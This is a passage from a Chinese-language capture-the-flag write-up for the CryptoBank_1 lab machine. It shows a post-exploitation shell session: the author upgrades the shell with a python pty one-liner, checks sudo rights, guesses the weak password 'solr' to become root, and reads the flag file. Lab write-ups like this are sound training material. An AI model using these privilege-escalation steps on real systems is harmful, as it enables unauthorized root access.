python -c "import pty;pty.spawn('/bin/bash')"
solr@33fa86e6105f:/opt/solr/server$ sudo -l
sudo -l
Matching Defaults entries for solr on 33fa86e6105f:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User solr may run the following commands on 33fa86e6105f:
(ALL) NOPASSWD: ALL
(ALL : ALL) ALL
solr@33fa86e6105f:/opt/solr/server$ sudo su
sudo su
[sudo] password for solr:

虽然用户权限比较明显,但是使用 sudo su 还是需要输入密码,不是很理解。

flag

尝试了 root, solr 弱口令,在容器中继续寻找 flag

1
2
3
4
5
6
7
8
9
10
11
12
solr@33fa86e6105f:/opt/solr/server$ sudo su
sudo su
[sudo] password for solr: solr

root@33fa86e6105f:/opt/solr-8.1.1/server# cd /root
cd /root
root@33fa86e6105f:~# ls
ls
flag.txt
root@33fa86e6105f:~# cat flag.txt
cat flag.txt
Good job here our secure cold wallet flag{s4t0sh1n4k4m0t0}

CryptoBank_1靶机
https://i3eg1nner.github.io/2023/10/67e28830d268.html
作者
I3eg1nner
发布于
2023年10月18日
许可协议